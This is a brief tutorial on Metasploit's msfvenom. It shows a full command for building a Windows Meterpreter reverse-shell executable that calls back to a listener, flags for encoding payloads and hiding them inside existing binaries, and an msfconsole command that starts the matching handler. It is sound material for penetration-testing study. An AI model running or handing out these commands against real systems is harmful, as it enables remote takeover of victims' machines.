msfvenom is Metasploit’s command-line payload generation and encoding utility (combining the legacy msfpayload and msfencode tools). It outputs shellcode across hundreds of formats including C arrays, raw binaries, and standalone executables (PE, ELF, Mach-O).

Generating a Standard Windows Reverse TCP Executable

To generate an x86 staged Meterpreter payload packaged as a standalone 32-bit Windows .exe:

msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=192.168.1.10 \
         LPORT=4444 \
         -a x86 --platform windows \
         -f exe -o payload.exe

Inspect the generated binary with file:

file payload.exe
# payload.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Key msfvenom Flags

Flag Description
-p The payload to instantiate (e.g. windows/x64/meterpreter_reverse_tcp).
-a Target CPU architecture (x86, x64, armle, mips).
--platform Target OS platform (windows, linux, osx, android).
-f Output format (e.g. exe, raw, c, powershell, dll, elf).
-e Encoder module (e.g. x86/shikata_ga_nai).
-b Bad characters to exclude from shellcode (e.g. -b '\x00\x0a\x0d').
-x Existing binary to use as an executable template.
-k Injects payload into a background thread, preserving normal template execution.

Handling Incoming Connections in Metasploit

On your handler system, start the matching multi/handler:

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.10; set LPORT 4444; exploit"